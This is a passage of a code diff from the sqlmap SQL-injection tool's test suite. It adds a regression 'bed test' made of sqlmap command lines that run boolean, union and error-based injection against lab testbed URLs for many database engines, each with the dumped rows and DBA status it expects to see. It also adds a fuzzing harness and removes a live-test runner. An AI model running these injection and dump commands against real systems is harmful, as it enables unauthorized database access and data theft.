+        ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
 
-    def _sample(population, k):
-        return [_choice(population) for _ in xrange(k)]
+        # CockroachDB
+        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
 
-    def _seed(seed):
-        global _rand
-        _rand = seed
+        # CrateDB
+        ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
 
-    random.choice = _choice
-    random.randint = _randint
-    random.sample = _sample
-    random.seed = _seed
+        # Drizzle
+        ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
+
+        # Firebird
+        ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
+
+        # H2
+        ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
+
+        # HSQLDB
+        ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
+
+        # IBM DB2
+        ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
+
+        # MariaDB
+        ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
+
+        # MySQL
+        ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
+
+        # PostgreSQL
+        ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
+        ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
+        ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
+    )
+
+    retVal = True
+    count = 0
+
+    for options, checks in TESTS:
+        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
+        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+
+        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
+        output = shellExec(cmd)
+
+        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
+            for check in checks:
+                if check not in output:
+                    print(cmd, check)
+            dataToStdout("---\n\n$ %s\n" % cmd)
+            dataToStdout("%s---\n" % output, coloring=False)
+            retVal = False
+
+        count += 1
+
+    clearConsoleLine()
+    if retVal:
+        logger.info("bed test final result: PASSED")
+    else:
+        logger.error("best test final result: FAILED")
+
+    return retVal
+
+def fuzzTest():
+    count = 0
+    address, port = "127.0.0.10", random.randint(1025, 65535)
+
+    def _thread():
+        vulnserver.init(quiet=True)
+        vulnserver.run(address=address, port=port)
+
+    thread = threading.Thread(target=_thread)
+    thread.daemon = True
+    thread.start()
+
+    while True:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            s.connect((address, port))
+            break
+        except:
+            time.sleep(1)
+
+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
+
+    url = "http://%s:%d/?id=1" % (address, port)
+
+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
+    while True:
+        lines = content.split("\n")
+
+        for i in xrange(20):
+            j = random.randint(0, len(lines) - 1)
+
+            if any(_ in lines[j] for _ in ("googleDork",)):
+                continue
+
+            if lines[j].strip().endswith('='):
+                lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
+
+            k = random.randint(0, len(lines) - 1)
+            if '=' in lines[k]:
+                lines[k] += chr(random.randint(0, 255))
+
+        open(config, "w+").write("\n".join(lines))
+
+        cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
+        output = shellExec(cmd)
+
+        if "Traceback" in output:
+            dataToStdout("---\n\n$ %s\n" % cmd)
+            dataToStdout("%s---\n" % output, coloring=False)
+
+            handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
+            os.close(handle)
+            open(config, "w+").write("\n".join(lines))
+        else:
+            dataToStdout("\r%d\r" % count)
+
+        count += 1
 
 def smokeTest():
     """
     Runs the basic smoke testing of a program
     """
 
-    dirtyPatchRandom()
+    unisonRandom()
+
+    content = open(paths.ERRORS_XML, "r").read()
+    for regex in re.findall(r'<error regexp="(.+?)"/>', content):
+        try:
+            re.compile(regex)
+        except re.error:
+            errMsg = "smoke test failed at compiling '%s'" % regex
+            logger.error(errMsg)
+            return False
 
     retVal = True
     count, length = 0, 0
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
             continue
 
         for filename in files:
@@ -204,7 +350,7 @@ def smokeTest():
                 length += 1
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
             continue
 
         for filename in files:
@@ -264,233 +410,3 @@ def smokeTest():
         logger.error("smoke test final result: FAILED")
 
     return retVal
-
-def adjustValueType(tagName, value):
-    for family in optDict:
-        for name, type_ in optDict[family].items():
-            if type(type_) == tuple:
-                type_ = type_[0]
-            if tagName == name:
-                if type_ == "boolean":
-                    value = (value == "True")
-                elif type_ == "integer":
-                    value = int(value)
-                elif type_ == "float":
-                    value = float(value)
-                break
-    return value
-
-def liveTest():
-    """
-    Runs the test of a program against the live testing environment
-    """
-
-    retVal = True
-    count = 0
-    global_ = {}
-    vars_ = {}
-
-    livetests = readXmlFile(paths.LIVE_TESTS_XML)
-    length = len(livetests.getElementsByTagName("case"))
-
-    element = livetests.getElementsByTagName("global")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
-
-    element = livetests.getElementsByTagName("vars")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    var = child.getAttribute("value")
-                    vars_[child.tagName] = randomStr(6) if var == "random" else var
-
-    for case in livetests.getElementsByTagName("case"):
-        parse_from_console_output = False
-        count += 1
-        name = None
-        parse = []
-        switches = dict(global_)
-        value = ""
-        vulnerable = True
-        result = None
-
-        if case.hasAttribute("name"):
-            name = case.getAttribute("name")
-
-        if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
-            continue
-
-        if case.getElementsByTagName("switches"):
-            for child in case.getElementsByTagName("switches")[0].childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    value = replaceVars(child.getAttribute("value"), vars_)
-                    switches[child.tagName] = adjustValueType(child.tagName, value)
-
-        if case.getElementsByTagName("parse"):
-            for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
-                if item.hasAttribute("value"):
-                    value = replaceVars(item.getAttribute("value"), vars_)
-
-                if item.hasAttribute("console_output"):
-                    parse_from_console_output = bool(item.getAttribute("console_output"))
-
-                parse.append((value, parse_from_console_output))
-
-        conf.verbose = global_.get("verbose", 1)
-        setVerbosity()
-
-        msg = "running live test case: %s (%d/%d)" % (name, count, length)
-        logger.info(msg)
-
-        initCase(switches, count)
-
-        test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
-        test_case_fd.write("%s\n" % name)
-
-        try:
-            result = runCase(parse)
-        except SqlmapNotVulnerableException:
-            vulnerable = False
-        finally:
-            conf.verbose = global_.get("verbose", 1)
-            setVerbosity()
-
-        if result is True:
-            logger.info("test passed")
-            cleanCase()
-        else:
-            errMsg = "test failed"
-
-            if _failures.failedItems:
-                errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
-
-            errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
-            errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
-
-            if not vulnerable:
-                errMsg += " - SQL injection not detected"
-
-            logger.error(errMsg)
-            test_case_fd.write("%s\n" % errMsg)
-
-            if _failures.failedParseOn:
-                console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
-                console_output_fd.write(_failures.failedParseOn)
-                console_output_fd.close()
-
-            if _failures.failedTraceBack:
-                traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
-                traceback_fd.write(_failures.failedTraceBack)
-                traceback_fd.close()
-
-            beep()
-
-            if conf.stopFail is True:
-                return retVal
-
-        test_case_fd.close()
-        retVal &= bool(result)
-
-    dataToStdout("\n")
-
-    if retVal:
-        logger.info("live test final result: PASSED")
-    else:
-        logger.error("live test final result: FAILED")
-
-    return retVal
-
-def initCase(switches, count):
-    _failures.failedItems = []
-    _failures.failedParseOn = None
-    _failures.failedTraceBack = None
-
-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
-    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
-    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
-
-    logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
-
-    LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
-
-    cmdLineOptions = cmdLineParser()
-
-    if switches:
-        for key, value in switches.items():
-            if key in cmdLineOptions.__dict__:
-                cmdLineOptions.__dict__[key] = value
-
-    initOptions(cmdLineOptions, True)
-    init()
-
-def cleanCase():
-    shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
-
-def runCase(parse):
-    retVal = True
-    handled_exception = None
-    unhandled_exception = None
-    result = False
-    console = ""
-
-    try:
-        result = start()
-    except KeyboardInterrupt:
-        pass
-    except SqlmapBaseException as ex:
-        handled_exception = ex
-    except Exception as ex:
-        unhandled_exception = ex
-    finally:
-        sys.stdout.seek(0)
-        console = sys.stdout.read()
-        LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
-
-    if unhandled_exception:
-        _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif handled_exception:
-        _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif result is False:  # this means no SQL injection has been detected - if None, ignore
-        retVal = False
-
-    console = getUnicode(console, encoding=sys.stdin.encoding)
-
-    if parse and retVal:
-        with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
-            content = f.read()
-
-        for item, parse_from_console_output in parse:
-            parse_on = console if parse_from_console_output else content
-
-            if item.startswith("r'") and item.endswith("'"):
-                if not re.search(item[2:-1], parse_on, re.DOTALL):
-                    retVal = None
-                    _failures.failedItems.append(item)
-
-            elif item not in parse_on:
-                retVal = None
-                _failures.failedItems.append(item)
-
-        if _failures.failedItems:
-            _failures.failedParseOn = console
-
-    elif retVal is False:
-        _failures.failedParseOn = console
-
-    return retVal
-
-def replaceVars(item, vars_):
-    retVal = item
-
-    if item and vars_:
-        for var in re.findall(r"\$\{([^}]+)\}", item):
-            if var in vars_:
-                retVal = retVal.replace("${%s}" % var, vars_[var])
-
-    return retVal

lib/core/threads.py

@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapThreadException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
     except Exception as ex:
         from lib.core.common import getSafeExString
 
-        if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
+        if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
             errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
             logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
 
@@ -175,7 +176,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         while alive:
             alive = False
             for thread in threads:
-                if thread.isAlive():
+                if thread.is_alive():
                     alive = True
                     time.sleep(0.1)